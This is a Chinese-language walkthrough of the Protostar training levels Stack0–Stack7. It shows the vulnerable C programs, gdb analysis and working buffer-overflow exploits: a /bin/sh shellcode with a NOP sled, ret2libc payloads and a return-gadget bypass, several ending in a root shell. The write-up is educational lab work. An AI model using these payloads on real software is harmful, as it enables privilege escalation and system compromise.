做了一组关于栈溢出的练习,题目来源exploit-exercises,提供一个虚拟机镜像,可以下载下来自己耍耍。
Stack
Stack0
About
This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.
This level is at /opt/protostar/bin/stack0
Source code
{% code title=“stack0.c” %}
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
{% endcode %}
查看modified和buffer的位置,
0x080483f4 <main+0>: push ebp
0x080483f5 <main+1>: mov ebp,esp
0x080483f7 <main+3>: and esp,0xfffffff0
0x080483fa <main+6>: sub esp,0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0 // modified = 0
0x08048405 <main+17>: lea eax,[esp+0x1c] // buffer
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
可以看到buffer的位置是esp+0x1c
, modified变量在esp+0x5c
, 二者距离是0x40,也就是64个字节大小,通过输入超过64个字节的数据
,就能覆盖modified变量.
EXP
python -c "print('A'*68)" | ./stack0
stack |
---|
esp + 0x1c |
… |
… |
esp + 0x5c |
Stack1
About
This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.
This level is at /opt/protostar/bin/stack1
Hints
If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend. Protostar is little endian
Source code
{% code title=“stack1.c” %}
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
{% endcode %}
传递一个参数,将参数复制到buffer中,覆盖modifies变量
EXP
./stack1 `python -c "print('A'*64+'dcba')"`
Stack2
About
Stack2 looks at environment variables, and how they can be set.
This level is at /opt/protostar/bin/stack2
Source code
{% code title=“stack2.c” %}
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
{% endcode %}
通过getenv获取了环境变量GREENIE,然后将GREENIE的内容复制到buffer中,我们这里通过export设置环境变量即可。
linux中**$()** 和 **``**都是用来做命令替换用的。
EXP
export GREENIE=$(python -c "print('A' * 64 + '\x0a\x0d\x0a\x0d')"); ./stack2
Stack3
About
Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)
Hints
- both gdb and objdump is your friend you determining where the win() function lies in memory.
This level is at /opt/protostar/bin/stack3
Source code
{% code title=“stack3.c” %}
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
{% endcode %}
有个函数指针,通过gets将fp的内容覆盖成win函数的地址(前提是没有开PIE
)。
EXP
python -c "print('A' * 64 + '\x24\x84\x04\x08')" | ./stack3
Stack4
About
Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
This level is at /opt/protostar/bin/stack4
Hints
- A variety of introductory papers into buffer overflows may help.
- gdb lets you do “run < input”
- EIP is not directly after the end of buffer, compiler padding can also increase the size.
Source code
{% code title=“stack4.c” %}
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
{% endcode %}
典型的buffer overflow, 通过覆盖返回地址控制程序流程
Dump of assembler code for function main:
0x08048408 <+0>: push ebp
0x08048409 <+1>: mov ebp,esp
0x0804840b <+3>: and esp,0xfffffff0
0x0804840e <+6>: sub esp,0x50
=> 0x08048411 <+9>: lea eax,[esp+0x10]
0x08048415 <+13>: mov DWORD PTR [esp],eax
0x08048418 <+16>: call 0x804830c <gets@plt>
0x0804841d <+21>: leave
0x0804841e <+22>: ret
buffer的位置在esp+0x10
处,$ebp - $esp = 88
,我们需要填充88-0x10=72个字节
,然后下面四个字节是ebp,在下面四个字节是返回地址。
EXP
python -c "print('A'*76 + '\xf4\x83\x04\x08')" | ./stack4
Stack5
About
Stack5 is a standard buffer overflow, this time introducing shellcode.
This level is at /opt/protostar/bin/stack5
Hints
- At this point in time, it might be easier to use someone elses shellcode
- If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
- remove the int3s once your shellcode is done.
Source code
{% code title=“stack3.c” %}
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
{% endcode %}
首先要找的返回地址的位置,这里我们通过gdb去找。首先将一段有特征的字符串输入到文件里面,方便我们找返回地址的位置。
echo AAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ > /tmp/exp
首先通过gdb定义一个hook函数,这个函数是一个特殊的函数,在遇到断点停下来时会自动调用,定一个了两个操作,第一个查看eip的指令,第二个打印栈顶内容。
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/1i $eip
>x/8wx $esp
>end
查看main函数的汇编代码,为了方便分析,设置Intel语法显示,我们在0x080483da
处下个断点。
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
通过r < /tmp/exp
的方式,将exp文件的内容输入到程序中,然后在我们下断点的地方停下来。此时会自动调用hook-stop
命令,打印了eip
的指令是ret
,栈顶元素是0x55555555
,此时esp
指向的地址是0xbffff77c。
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/exp
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack5 < /tmp/exp
0x80483da <main+22>: ret
0xbffff77c: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff78c: 0x59595959 0x5a5a5a5a 0xffffff00 0xb7ffeff4
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x5454545c
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
报了段错误,找不到0x55555555
的地址, 对应的内容是UUUU
,也就是说我们要将UUUU的位置
填入一个地址来控制跳转,跳转到哪,当然是shellcode
的位置,shellcode在哪,shellcode需要我们自己写入,可以去这个网站找shell-storm。
(gdb) ni
Cannot access memory at address 0x54545458
(gdb) ni
Program received signal SIGSEGV, Segmentation fault.
0x55555555: Error while running hook_stop:
Cannot access memory at address 0x55555555
0x55555555 in ?? ()
esp
指向0xbffff77c
,而这个地址的内容实际上就是返回地址,占4个字节,然后我们在这个返回地址后面写入shellcode
,那么我们需要跳转到的地址其实就是0xbffff77c + 4 = 0xbffff780
。下面就是构造好的payload
。
import struct
padding = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT'
eip = 0xbffff77c + 4
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = padding + struct.pack('I', eip) + shellcode
print(payload)
可以看到下面提示执行了一个新的程序,/bin/dash
,这样就算是成功了。
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack5 < /tmp/exp
0x80483da <main+22>: ret
0xbffff77c: 0xbffff780 0x6850c031 0x68732f2f 0x69622f68
0xbffff78c: 0x89e3896e 0xb0c289c1 0x3180cd0b 0x80cd40c0
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x5454545c
) at stack5/stack5.c:11
11 in stack5/stack5.c
(gdb) c
Continuing.
Executing new program: /bin/dash
Program exited normally.
Error while running hook_stop:
No registers.
然后不通过gdb去运行,发现失败了。原因在于,当执行一个程序时,操作系统会将环境变量推送到堆栈上。现在,当我们在gdb之外运行可执行文件时,环境不同,因此shell代码会错位。为了解决这个问题,我们可以使用NOP
指令。
NOP
是 一个空指令,它基本上什么也不做。NOP
指令通常用于控制时序的目的,强制内存对齐,防止流水线灾难,占据分支指令延迟,或是作为占位符以供程序的改善(或替代被移除的指令)。
使用nop
填充,后面跟上shellcode
,只要返回地址跳转到nop
上,最终会执行我们的shellcode
,nop
的操作码在Intelx86上是0x90
。
import struct
padding = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT'
eip = 0xbffff77c + 40
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nopslide = '\x90' * 100
payload = padding + struct.pack('I', eip) + nopslide + shellcode
print(payload)
这就引出了一个问题,我们如何使用shell
,因为它一创建就退出了。原因是当输入流关闭时,shell
也会退出。所以我们需要一种方法来保存输入流。
执行一个shell
,从Standard input输入一些命令,管道符是把一个程序的Standard output 重定位到另一个程序的Standard input,一旦程序结束了,管道就会关闭。所以shell
被执行了,但是没有输入,就会退出。
user@protostar:~$ python stack5.py | /opt/protostar/bin/stack5
user@protostar:~$
当使用cat
命令但不给他参数时,他会将stdinput
重定位到stdoutput
。通过下面的命令就可以获取shell了。
user@protostar:~$ (python stack5.py;cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Stack6
About
Stack6 looks at what happens when you have restrictions on the return address.
This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.
It is strongly suggested you experiment with multiple ways of getting your code to execute here.
This level is at /opt/protostar/bin/stack6
Source code
{% code title=“stack6.c” %}
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
{% endcode %}
有一个getpath
的函数,里面通过__builtin_return_address(0)
返回当前函数的返回地址。我们可以下个断点查看一下ret的值,这里输入的是一个输入,没有进行溢出。可以看到ret的值是call 0x8048484 <getpath>
下一条指令的地址。
(gdb) p/x $eax
$9 = 0x8048505
(gdb) p getpath
$10 = {void (void)} 0x8048484 <getpath>
(gdb) disass main
Dump of assembler code for function main:
0x080484fa <main+0>: push ebp
0x080484fb <main+1>: mov ebp,esp
0x080484fd <main+3>: and esp,0xfffffff0
0x08048500 <main+6>: call 0x8048484 <getpath>
0x08048505 <main+11>: mov esp,ebp
0x08048507 <main+13>: pop ebp
0x08048508 <main+14>: ret
End of assembler dump.
然后进行位与操作,也就是说你这个返回地址不能是0xbf000000开头的,可以查看一下地址映射关系,发现0xbf
开头的地址,实际上就是栈的地址。也就是说我们不能通过ret2shellcode
的方式,在栈中写入shellcode
,然后跳转到栈中shellcode
的方式。
(gdb) info proc map
process 1878
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
可以尝试ret2libc
的方式,查找一下有没有system函数,通过gdb查看system的地址。libc包含字符串“ / bin / sh”,但我们不知道它的位置。我们可以使用工具strings
来查找距文件开头的偏移量。
(gdb) p system
$11 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
通过上面的地址映射,我们就可以算出来字符串“/bin/sh”
的地址,0xb7e97000 + 1176511
。
user@protostar:~$ strings -t d /lib/libc.so.6 | grep /bin/sh
1176511 /bin/sh
接下来找返回地址的位置,我们在ret
指令处下个断点,然后查看栈顶元素,发现是0x55555555
,也就是UUUU的位置就是我们要填入返回地址的位置。
got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
0x80484f9 <getpath+117>: ret
0xbffff76c: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff77c: 0x59595959 0x5a5a5a5a 0xbffff800 0xbffff82c
Breakpoint 4, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c
然后构造exp,注意system后面要填充一个虚假的返回地址,调用函数的过程是先将参数压栈,然后将返回地址压栈,最后调用函数。所以我们需要在参数“/bin/sh”的前面填一个虚假的返回地址。
import struct
padding = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT'
system = struct.pack('I', 0xb7ecffb0)
bin_sh = struct.pack('I', 0xb7e97000 + 0x11f3bf)
payload = padding + system + 'AAAA'+ bin_sh
print(payload)
user@protostar:~$ (python stack6.py ;cat) | /opt/protostar/bin/stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP���RRRRSSSSTTTT���AAAA�c�
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Stack7
About
Stack6 introduces return to .text to gain code execution.
The metasploit tool “msfelfscan” can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.
This level is at /opt/protostar/bin/stack7
Source code
{% code title=“stack7.c” %}
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
{% endcode %}
和stack6很像,这不过这次的返回地址是不能以0xb开头,通过gdb可以看到libc
和stack的地址都不能直接写入进去了。__builtin_return_address(0)
这个函数前面已经介绍过了,属于gcc的build-in函数,返回当前函数的返回地址,所以我们需要在当前返回地址上下手。
(gdb) info proc map
process 2060
cmdline = '/opt/protostar/bin/stack7'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack7'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack7
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack7
0x804a000 0x806b000 0x21000 0 [heap]
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
通过上面的地址映射关系,我们可以看到只有stack7和heap的地址不是以0xb开头的。所以我们能不能跳转到这两个地方呢,查看getpath函数的汇编代码,注意最后的这个指令ret
,CPU执行这个指令都做了什么呢,处理器会将堆栈顶部的地址移到EIP中,并将ESP递增(堆栈向低地址方向扩展)4,也就是相当于“pop eip”,将栈顶元素弹出到eip,然后执行eip中地址指向的指令。
(gdb) disass getpath
...
0x08048529 <getpath+101>: lea edx,[ebp-0x4c]
0x0804852c <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x08048530 <getpath+108>: mov DWORD PTR [esp],eax
0x08048533 <getpath+111>: call 0x80483e4 <printf@plt>
0x08048538 <getpath+116>: lea eax,[ebp-0x4c]
0x0804853b <getpath+119>: mov DWORD PTR [esp],eax
0x0804853e <getpath+122>: call 0x80483f4 <strdup@plt>
0x08048543 <getpath+127>: leave
0x08048544 <getpath+128>: ret
所以我们如果将第一个返回地址写入ret的地址(0x08048544),那么执行到他的时候,他会将下面的地址弹出到eip,然后就跟stack6一样了。__builtin_return_address(0)
只返回第一个返回地址,这个地址我们写入的是0x08048544
,这样就能够绕过检查。
address 1 ret |
---|
address 2 system |
fake_return_address |
“/bin/sh” |
exp
import struct
padding = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT'
ret = struct.pack('I', 0x08048544)
system = struct.pack('I', 0xb7ecffb0)
bin_sh = struct.pack('I', 0xb7e97000 + 0x11f3bf)
payload = padding + ret + system + 'AAAA'+ bin_sh
print(payload)
user@protostar:~$ (python stack7.py ;cat) | /opt/protostar/bin/stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD���AAAA�c�
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)